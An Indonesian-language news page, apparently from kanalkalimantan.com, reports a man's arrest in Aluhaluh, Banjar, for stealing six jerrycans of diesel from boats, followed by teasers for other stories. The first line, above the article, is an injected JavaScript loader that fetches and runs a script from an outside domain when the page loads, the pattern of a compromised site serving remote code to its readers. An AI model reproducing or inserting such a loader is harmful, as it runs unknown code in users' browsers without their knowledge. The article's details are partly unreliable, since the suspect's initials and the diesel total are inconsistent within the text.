(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Aksi penjarahan dilakukan seorang warga Desa Pulantan RT 06, Kecamatan Aluhaluh, Kabupaten Banjar. U (29) mencuri enam buah jirigen BBM berisi solar masing-masing 35 liter yang berada di atas kelotok milik warga.
U berhasil ditangkap setelah melancarkan aksinya yang kedua dan sempat dipergoki pemilik solar. Pemilik solar saat kejadian sempat berteriak maling dan pelaku yang mendengar teriakan tersebut langsung bergegas kabur.
Selang setengah bulan setelah kejadian itu, U ditangkap personel Polsek Aluhaluh. Penangkapan pelaku U dipimpin Kapolsek Aluhaluh Iptu H Walimin bersama Kanit Reskrim Polsek Aluhaluh, pada Jumat (3/6/2022) sekitar pukul 10.00 Wita.
Kronologi kejadian pada saat pelaku berusaha untuk membawa hasil curian yang kedua, warga merasa mencurigai tindak tanduk pelaku kemudian meneriaki pelaku maling, lalu pelaku kabur.
Baca juga:Â 16 Korban KM Ladang Pertiwi Belum Ditemukan, Operasi SAR Dilanjutkan
Iptu Walimin mengatakan, kejadian pertama dilakukan U pada Jumat (6/5/2022) dan disusul seminggu kemudian, tepatnya pada Minggu (15/5/2022) sekitar pukul 00.15 Wita. Pada setiap aksinya U mencuri sebanyak tiga tangki solar.
“Pelaku mengambil solar milik korban yang ditaruh di atas perahu dengan cara dilarutkan dan ditarik ke pinggir sungai,” jelasnya.
U ditangkap langsung oleh aparat saat berada di Pasar Jumat Desa Aluhaluh Besar, atas aksi pencurian dengan pemberatan yang diatur dalam pasal 363 KUHP. Pelaku pun mengakui perbuatannya dan bersama barang bukti total enam tangki solar atau 120 liter solar dibawa ke Polsek Aluhaluh guna proses lebih lanjut.
“Kami telah menangkap pelaku berinisial JU berdasarkan hasil penyelidikan yang dilakukan oleh anggota kami dengan berdasarkan ciri-ciri pelaku yang kami peroleh dari para saksi yang melihat aksi tersebut,” ungkap Iptu Walimin.
“Dan pelaku pun setelah kami interogasi mengakui perbuatannya,” tuntasnya. (kanalkalimanta.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.